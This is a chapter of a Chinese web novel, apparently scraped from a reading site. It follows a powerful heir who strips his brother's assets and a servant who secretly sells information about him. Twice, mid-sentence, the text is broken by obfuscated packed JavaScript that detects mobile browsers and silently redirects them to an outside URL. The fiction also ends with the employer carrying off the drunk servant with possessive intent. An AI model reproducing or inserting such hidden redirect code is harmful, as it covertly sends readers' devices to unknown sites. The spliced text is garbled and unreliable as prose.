文件上面列举了各种资产,霍老爷子看着也觉得眼熟,还没等他想出来,就听到霍延邵慢条斯理的声音。 “这些都是原来阿季名下的资产,都是从霍家给出去的,既然阿季如今已经算不上霍家的人了,这些资产也理应物归原主了。” 这话让餐桌上的氛围猛地一滞。 紧接着,众人几乎都眼前一亮。 作为主支,又是霍老爷子从小就疼爱的幼子,霍延季从成年开始就分到的资产自然不是个小数目,要是这笔资产收回霍家,他们兴许也能分得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338376|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一杯羹。 而霍老爷子脸色却开始难看了起来,他砰地一声将文件放下,声音里带着不加掩饰的不悦。 “你弟都已经被你赶出国了,你还想怎么样?连他手里的那点东西都要收走,你是想赶尽杀绝吗?” 餐桌气氛一下子紧绷起来。 其他人正襟危坐,不敢搭话。 “爸你要这么想也没错。”霍延邵挑眉,眼神似笑非笑,语气依旧不紧不慢。 “他联合大哥想要掣肘我,后来还买凶想杀我……我饶他一命是看在爸的面子上,你难不成还希冀着我看着他拿着这些霍家资产的分红在国外潇洒自在?” 霍来爷子脸色灰败了下来。 霍延邵像是没看见,指尖轻敲桌面,语气平淡,“当然,爸你不想签也没关系,我会用自己的方法把这些资产收回来。” 这些资产是从霍老爷子手里给出去的,也只有霍老爷子能够要回来,不过霍老爷子要是不愿意也没关系,人死了,那些资产自然也重新由霍家接管了。 霍老爷子听出了他话里的血腥,他闭了闭眼,胸脯起伏不定,脸上血色更少了几分,整个人看起来像是苍老了十岁不止。 睁开眼后,他一言不发,取出文件上的笔签了名,霍延邵示意助理将文件收起来,自己则是缓缓放下手里的餐具,起身。 “这么久了,看来菜都已经凉了,这次的家宴就到这里吧。”霍延邵笑意温和,“爸身体不好,还是待在疗养院比较好,雪天路滑,等会儿我会让人送爸回疗养院。” 他语气顿了顿,“至于结婚的事,爸就不用替我操心了,我已经有了想结婚的对象了,等时机到了我会带回去给爸看的。” 直接无视了坐在身边,脸色陡然惨白了下来的阮栀,霍延邵对着餐桌对面的几位长辈礼貌点点头,随后直接转身离开,身后的刘助理也躬了躬身,跟着雇主离开。 霍延邵大步离开了餐厅,来到了餐厅外后脚步缓了下来,他看了眼一本正经,装作完全没有偷听的模样,眼底掠过一丝笑意。 “走吧。” “好的,先生。” 姜胥抬脚跟上。 只是离开时,他朝着身后的餐厅看了一眼,感受到女人落在自己身上的视线,他心一跳,下意识地加快脚步。 果然,才一上车,手机就接连发出了几声震动声。 12. 豪门契约文里的白眼狼老男人佣人12 【他这段时间有没有带过人回盛园?】 【身边有没有出现别的人?】 【是男的是女的?】 【……】 消息犹如轰炸一样,接踵而至。 细微的震动声在安静的车厢里极为刺耳,察觉到雇主已经投来了目光,姜胥努力维持着面上的平静,眼疾手快地将手机按了静音。 直到身旁那簇目光移开,姜胥才微微松了口气,可紧接着,就又有汹涌的烦恼翻涌而上。 他该怎么回对方呢? 守在餐厅外,姜胥对餐厅里发生的事一清二楚,也知道了自家雇主说的那句已经有了想要结婚的对象这一事。 可他却没信。 毕竟在盛园做了这么长一段时间,他从没有见过有陌生女性出现在雇主的私人空间里,所以他对雇主所提到的结婚对象不太在意,只以为这是雇主用来敷衍霍老爷子的托词。 这样想着,姜胥也这样发了过去,也不知道对方信没信,可接下来也的确没有收到来自阮栀的消息轰炸了。 一场闹剧,让这场家宴无法继续进行下去,在其他人莫名的气氛下后,大部分人吃了这顿饭后就离开了,而宴席结束后,霍老爷子被人送回了疗养院,阮栀也不好继续待在老宅。 看了眼屏幕上的消息,阮栀随手将手机放下,面无表情。 敷衍老爷子的托词? 她也想这样安慰自己。 可她心里却明白,以霍延邵的性格,不愿意就是不愿意,根本不屑费心思去捏造一个喜欢的人来敷衍老爷子。 阮栀闭了闭眼,想了很多。 她想到父母在知道自己救下老爷子时的狂喜,想到传出两家联姻时他们对自己的期待,想到圈里人在知道自己会嫁进霍家时明里暗里的各种追捧讨好…… 阮栀终究还是不甘心。 她眼神渐渐冷了下来,拨出了一个电话。 …… 另一边,本来以为是要回盛园,可下了车后才发现他们来到的不是盛园,姜胥疑惑地下了车,然后跟着雇主在侍者的带领下穿过长廊上楼,进了一个包间。 包间很大,布置典雅,给人一种偏中式的感觉,又临近窗边,坐下后能轻易地看到外头已经被冰雪冰封了的湖面……唯一的缺点就是,整个包间只有两个位置。 第一次踏足这样的地方,姜胥有些拘谨,他看着雇主在侍者的带领下落坐,没敢跟上去,只下意识地想往后看,想看一看助理在哪里。 “坐吧。” 才发现本来还跟在身后的助理已经不见了的姜胥才转回来,就听到雇主的话,他眨了眨眼,还有些不敢相信。 “姜胥,坐吧。” 确定了,是让自己坐。 “谢谢先生。” 已经认出了这家店就是之前他曾经吃过的归园,姜胥维持着佣人的体面,客气地道了谢,然后毫不推辞地坐了下来。 两人坐下后,很快就有侍者上前服务,穿着旗袍的侍者面容姣好,身姿曼妙,躬身倒茶的模样让姜胥有些脸热,他连连点头接过侍者递过来的茶,玉白的面上一片绯色。 霍延邵喝了口茶,眸光落在对面显然因为女侍者而脸红的姜胥面上,脸上并没有太多情绪,只是等侍者再次进包间服务后,已经全都换成男侍者了。 姜胥没注意到这个插曲。 他有女朋友,所以对其他女性自然没什么想法,只是因为很少和女人接触,那些女侍者一靠近他难免会有些不自在。 菜上得很快。 在盛园的时候姜胥也偶尔会和雇主同桌吃饭,所以这时候也不会不自在,在看到雇主也认真用餐后,他也几乎把所有注意力都放在吃饭上。 他吃得认真,没有注意到对面的雇主已经停下了动作,正凝视着自己。 “增加假期不行,但我可以给你加工资,除了增加假期这一项要求,你还可以提一些其他的要求。” 姜胥先是一怔,然后很快意识到雇主这是在回应刚刚在车上自己提出的请求。 虽然增加假期这个要求被驳回让他有些失落,可工资增加也是一件高兴的事,姜胥喜笑颜开,忙连连保证,“好的,谢谢先生,我一定会好好干的。” 霍延邵勾唇,指腹摩擦着杯沿,眼里没什么温度,只有话从唇间平直地递出,“我听管家说你准备下一个月离职。” “咳咳咳……” 喝了一口汤的姜胥猝不及防地噎住了,他有些狼狈地捂住嘴,脸有些发红,缓过来后讪讪地笑了笑,点点头。 佣人离职规定要提前一个月报告给管家,所以在决定年尾离开后姜胥就已经和林管家说过了,只是没想到对方会这么早就告诉雇主,而且还是雇主打算给自己涨工资的时候……姜胥不免有些尴尬。 霍延邵将桌面上的纸巾推了过去,随意问道,“为什么突然想离职了,是对这份工作不满意还是说家里有事?” 问这话的时候,雇主脸上没有不满,这让姜胥尴尬少了一些,他抽了一张纸巾擦嘴,模棱两可地解释。 “工作挺好的,只是在帝都还是不太习惯,家里孩子也比较想家,所以还是想回家守着。” 这话当然不是真的。 工作的工资高待遇好,还有两个能够赚外快的私活,每天吃得好穿得好,又有温婉漂亮的女朋友……姜胥来到帝都后的日子不知过得有多逍遥快活。 坦白说,他在这里过得乐不思蜀,打心底也不太想回老家的。 可不走不行啊。 他已经向两个人出卖过面前这位雇主的消息了,那个阮栀手上还握着他的把柄,要是东窗事发,恐怕他想走都走不了了。 还不如趁雇主什么都不知道的时候赶紧离开,到时候就算那个阮栀揭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338377|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿自己,自己也已经溜之大吉,雇主知道了想要找自己算账也找不着人啊。 心里噼里啪啦地打着算盘,姜胥那双精明的眼睛乌溜溜地转着,但面上却是流露出了几分可惜,看上去像是舍不得工作但又因为家里的原因不得不回老家一样。 “大概什么时候走?” “应该是过年前,正好可以回老家过个年。” 霍延邵点点头,没再说什么。 姜胥松了口气,再次投入到各种美味菜肴当中,秉着自己快要离开了,也许这次也是自己最后一次吃这么高档的餐厅,所以不吃白不吃的想法,他吃了个肚溜圆。 “要喝点酒吗?这里的酒还不错。” 这种占便宜的事,姜胥当然欣然点头,霍延邵看了眼守在包间里的侍者,侍者垂了垂眼,很快就将酒端来了。 酒在一个瓷白的坛子里盛着,坛口已经打开,旁边还放着两个透明的酒杯,酒杯上已经盛满了酒,酒香扑鼻。 姜胥眼睛一亮,迫不及待地就拿过一杯喝了起来,入口辛辣,醇厚甘冽,远比在村子里喝的那些老白酒黄酒什么的都要好喝,要痛快。 想起那晚自己被一杯“小甜水”给醉晕,姜胥就觉得有些丢脸,他不经意地看了眼浅酌的雇主,想着自己得把丢了的面子找回来。 他自觉自己的酒量真的不错,以前在老家喝白酒都是对着瓶子吹,这会儿连着喝几杯应该也没关系,这样想着,他故作轻松,一杯接一杯……然后就又一次把自己灌醉了。 包间里的灯光偏昏暗,即便男人努力地支着身,却也是脸色绯红,眉眼溃散,对面高大的男人放下了酒杯,一双黑眸凝视着已经露出醉态的人,眼底墨色翻涌。 包间里的侍者不知道什么时候退了出去了,凝视了良久,霍延邵站起身,几步来到男人身旁,将自己的黑色大衣披在男人身上,然后弯腰拦腰将人抱起,出了包间。 消失的助理再次出现在包间门口,见家主抱着一个被裹得看清脸的人出来,立即垂下头。 也是凑巧,一个妆容精致的女人从隔壁包间出来,看到这一幕后眼睛微微瞪大,反应过来后立即用手机拍了起来…… 上了车,霍延邵没有立即将人放下。他随手将裹着人的大衣丢在一侧,一手揽住男人的腰,几乎让对方整个窝在自己怀里。 手下的腰肢细得可怜,明明吃了那么多饭菜,可也就只有小肚子微微凸起,也不知道那些饭菜都吃到哪里去了? 霍延掀了掀眼皮,有些漫不经心得想。 又想到姜胥刚刚提出要离职离开帝都的话,他眉目微敛,指尖抚上了对方的眉眼,看着怀里人的目光格外幽深。 他的雀想飞走,他应该用什么方法留下他呢? …… “……媛媛你是说,你愿意和我结婚?”听了女朋友的话,姜胥脸上是压抑不住的惊喜。